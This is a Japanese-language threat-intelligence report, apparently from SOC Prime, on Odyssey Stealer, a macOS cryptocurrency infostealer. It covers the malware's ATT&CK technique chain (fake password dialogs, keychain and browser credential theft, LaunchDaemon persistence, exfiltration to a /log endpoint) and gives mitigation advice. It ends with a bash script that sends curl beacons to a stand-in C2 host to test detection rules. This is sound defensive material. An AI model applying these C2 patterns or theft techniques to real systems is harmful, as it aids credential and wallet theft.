SOC Prime Bias: 中程度

13 2月 2026 16:13

Odyssey Stealer: macOS暗号通貨窃盗作戦の内部

Author Photo
Ruslan Mikhalov SOC Primeの脅威リサーチ責任者 linkedin icon フォローする
Odyssey Stealer: macOS暗号通貨窃盗作戦の内部
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

Odyssey Stealerは仮想通貨ウォレットや拡張機能をターゲットとしたmacOSのインフォスティーラーです。これは、加盟者が集中管理されたC2と管理パネルへのアクセスを賃借するマルウェア・アズ・ア・サービスのプラットフォームとして販売されています。配信は通常、C2からコマンドをポーリングする持続的なLaunchDaemonをインストールする混乱化されたAppleScriptに依存しています。運営者は、正規のLedgerおよびTrezorアプリをトロイの木馬化したビルドで置き換えて、資格情報と取引データを捕捉することもできます。

調査

研究者たちは、ユニークなHTMLメタタグ、ページ本文のハッシュ、および共有されたfaviconハッシュを使用してC2の指紋を取得しました。彼らは、ヨーロッパとオランダを中心に、複数のASNクラスターにまたがる10の物理ホストをマッピングしました。ペイロードの解析により、マルチステージのAppleScriptドロッパー、LaunchDaemonの持続性、およびGoでコンパイルされたSOCKS5プロキシバイナリが明らかになりました。ドロッパーに埋め込まれた設定データによって、加盟者識別子とビルドIDが露呈しました。

緩和策

疑わしいosascriptの活動、特に長い難読化された文字列、ランダムなラベルを持つ未知のLaunchDaemon plistファイル、および“/log”エンドポイントへの発信POSTリクエストに注意してください。LaunchDaemonによって生成されたバイナリや不審なSOCKS5活動のアラートを出します。LedgerおよびTrezorアプリケーションのコード署名を確認し、既知のC2ドメインおよびIPアドレスをブロックします。予期しないパスワードプロンプトや“ウォレット更新”を高リスクとして取り扱うようにユーザーを訓練します。

対応策

検出時には、システムを隔離し、悪意のあるLaunchDaemonを終了し、トロイの木馬化されたウォレットアプリケーションを削除します。調査のために特定されたC2ドメインおよびIPへのネットワークトラフィックをキャプチャし、漏洩した仮想通貨の資格情報をリセットし、macOSのパスワードを回転させます。追加のアーティファクトを特定するために完全な法科学的レビューを実施します。

“graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions action_initial_access_phishing[“<b>アクション</b> – <b>T1566 フィッシング</b>: 電子メールまたはマルバタイジングを介して悪意のあるリンクが配信される<br /><b>説明</b>: 攻撃者は、ユーザーをリンクをクリックさせることで初期アクセスを得ます。”] class action_initial_access_phishing action action_user_execution_malicious_link[“<b>アクション</b> – <b>T1204.001 ユーザー実行: 悪意のあるリンク</b>: 被害者がリンクをクリックし、AppleScriptドロッパーを起動<br /><b>説明</b>: ユーザーの操作後にコード実行が発生します。”] class action_user_execution_malicious_link action action_execution_obfuscation[“<b>アクション</b> – <b>T1027 難読化されたファイルまたは情報</b>: osascript経由で実行される難読化されたAppleScriptペイロード<br /><b>説明</b>: 悪意のあるコードを隠して検出を回避します。”] class action_execution_obfuscation action action_cred_gui_capture[“<b>アクション</b> – <b>T1056.002 入力キャプチャ: GUI</b>: フェイクなmacOSパスワードダイアログが管理者資格情報をキャプチャ<br /><b>説明</b>: UIを偽装して資格情報を盗みます。”] class action_cred_gui_capture action action_cred_browser_stores[“<b>アクション</b> – <b>T1555.003 ウェブブラウザの資格情報</b>: Chrome、Edge、Firefoxからクッキー、パスワード、仮想通貨ウォレットデータを抽出<br /><b>説明</b>: 保存されたウェブ資格情報を収集します。”] class action_cred_browser_stores action action_cred_keychain[“<b>アクション</b> – <b>T1555.005 パスワードマネージャの資格情報</b>: macOSキーチェーンから保存されたパスワードを読み取り<br /><b>説明</b>: パスワードマネージャのデータにアクセスします。”] class action_cred_keychain action action_cred_securityd[“<b>アクション</b> – <b>T1555.002 Securitydメモリの資格情報</b>: 資格情報を取得するためにsecuritydプロセスのメモリを収集<br /><b>説明</b>: プロセスメモリから資格情報の素材を取得します。”] class action_cred_securityd action action_priv_esc_valid_accounts[“<b>アクション</b> – <b>T1078 有効なアカウント</b>: キャプチャされた管理者パスワードを使用して権限を昇格<br /><b>説明</b>: 正当な資格情報でより高い権限を得ます。”] class action_priv_esc_valid_accounts action action_persistence_launchdaemon[“<b>アクション</b> – <b>T1543.004 Launch Daemon</b>: 定期的なC2ポーリング用にcom.random.plist LaunchDaemonをインストール<br /><b>説明</b>: 起動デーモンを作成することで持続します。”] class action_persistence_launchdaemon action action_discovery_browser[“<b>アクション</b> – <b>T1217 ブラウザ情報の発見</b>: インストールされたブラウザとウォレット拡張機能を列挙<br /><b>説明</b>: 被害者のブラウジング環境に関する情報を収集します。”] class action_discovery_browser action action_collection_archive[“<b>アクション</b> – <b>T1560 収集データのアーカイブ</b>: 盗まれたファイルをZIPアーカイブに圧縮<br /><b>説明</b>: データを外部送信のためにパッケージ化します。”] class action_collection_archive action action_exfil_automated[“<b>アクション</b> – <b>T1020 自動外部送信</b>: /logエンドポイントにZIPアーカイブをPOST<br /><b>説明</b>: 収集されたデータをHTTP経由で送信します。”] class action_exfil_automated action action_c2_webservice[“<b>アクション</b> – <b>T1102 Webサービス</b>: HTTP GETおよびPOSTエンドポイントを使用してC2と通信<br /><b>説明</b>: コマンドとコントロールのためにWebサービスを利用します。”] class action_c2_webservice action action_c2_dead_drop[“<b>アクション</b> – <b>T1102.001 デッドドロップリゾルバ</b>: /d/… URLsからペイロードを取得<br /><b>説明</b>: コマンドを取得するためにデッドドロップの場所を利用します。”] class action_c2_dead_drop action action_c2_external_proxy[“<b>アクション</b> – <b>T1090.002 外部プロキシ</b>: トラフィックトンネリングのためにGoコンパイルされたSOCKS5プロキシをダウンロードして実行<br /><b>説明</b>: C2トラフィックを外部プロキシを通じてルーティングします。”] class action_c2_external_proxy action %% Connections action_initial_access_phishing u002du002d>|leads_to| action_user_execution_malicious_link action_user_execution_malicious_link u002du002d>|triggers| action_execution_obfuscation action_execution_obfuscation u002du002d>|enables| action_cred_gui_capture action_cred_gui_capture u002du002d>|provides| action_cred_browser_stores action_cred_browser_stores u002du002d>|adds| action_cred_keychain action_cred_keychain u002du002d>|adds| action_cred_securityd action_cred_securityd u002du002d>|gives| action_priv_esc_valid_accounts action_priv_esc_valid_accounts u002du002d>|allows| action_persistence_launchdaemon action_persistence_launchdaemon u002du002d>|enables| action_discovery_browser action_discovery_browser u002du002d>|feeds| action_collection_archive action_collection_archive u002du002d>|prepares| action_exfil_automated action_exfil_automated u002du002d>|uses| action_c2_webservice action_c2_webservice u002du002d>|utilizes| action_c2_dead_drop action_c2_dead_drop u002du002d>|supports| action_c2_external_proxy “

攻撃フロー

シミュレーション実行

前提条件: テレメトリー&ベースラインのプレフライトチェックが合格していること。

  • 攻撃の内容とコマンド:
    対戦相手は、macOSワークステーションにOdyssey Stealerをデプロイしました。ユーザーを侵害した後、マルウェアは追加のペイロードをダウンロードし、収集したデータを外部送信するためにC2サーバーにビーコンを送信します。ビーコンはネイティブの curl バイナリ(Apple署名済みバイナリ)を使用して、ルールで定義されたC2エンドポイントにHTTP GETリクエストを発行します。攻撃者は、これらの特定のURIパスを選択し、一般的なWebトラフィックと調和し、一般的なURLフィルタリングソリューションによる検出を回避します。

    手順:

    1. C2ホスト名を解決する(以下のようにシミュレート c2.odyssey.example.com).
    2. GETリクエストを発行 – ランダムなアフィリエイトコードと数字のトークンでデータ外部送信エンドポイントを模倣します。 – mimics the data‑exfiltration endpoint with a random affiliate code and numeric token.
    3. GETリクエストを発行 /api/v1/bot/ – ボット管理のハートビートをシミュレート。
    4. オプションで、 /log 内部ロギングトラフィックをエミュレートします。このトラフィックは、マルウェアによる状態報告に使用されます。
  • 回帰テストスクリプト: 次のbashスクリプトは、検出ルールをトリガーするのに必要な正確なトラフィックを再現します。

    #!/usr/bin/env bash
    # Odyssey Stealer C2ビーコンシミュレーションの検出検証
    # 必要条件: curl, pre-flight手順で設定されたネットワークプロキシ
    
    C2_HOST="c2.odyssey.example.com"
    PROXY_HOST="127.0.0.1:3128"   # Squidプロキシアドレスに調整してください
    
    # プロキシ経由でリクエストを送信する関数
    send_request() {
        local path=$1
        echo "[*] リクエストをhttps://${C2_HOST}${path}にプロキシ${PROXY_HOST}経由で送信しています"
        curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}"
    }
    
    # 1. データ外部送信エンドポイント(ランダムアフィリエイト + 数字)
    AFFILIATE="aff$(shuf -i 1000-9999 -n 1)"
    DIGITS=$(shuf -i 10000-99999 -n 1)
    send_request "/d/${AFFILIATE}${DIGITS}"
    
    # 2. ボット管理ハートビート
    send_request "/api/v1/bot/"
    
    # 3. オプションのロギングエンドポイント
    send_request "/log"
    
    echo "[+] シミュレーション完了。SIEMでアラートを確認してください。"

    スクリプトを odyssey_beacon.shとして保存し、実行可能にします(chmod +x odyssey_beacon.sh)、macOSテストホストで実行します。

  • クリーンアップコマンド: 一時ファイルを削除し、テストユーザーのプロキシをオプションで無効にします。

    # Wi‑Fiインターフェースのプロキシ設定を無効にする
    networksetup -setwebproxystate "Wi-Fi" off
    networksetup -setsecurewebproxystate "Wi-Fi" off
    
    # (オプション)このテストのために単独で開始された場合、Squidを停止
    # brew services stop squid
    echo "プロキシ設定を復元し、適用可能な場合はSquidを停止しました。"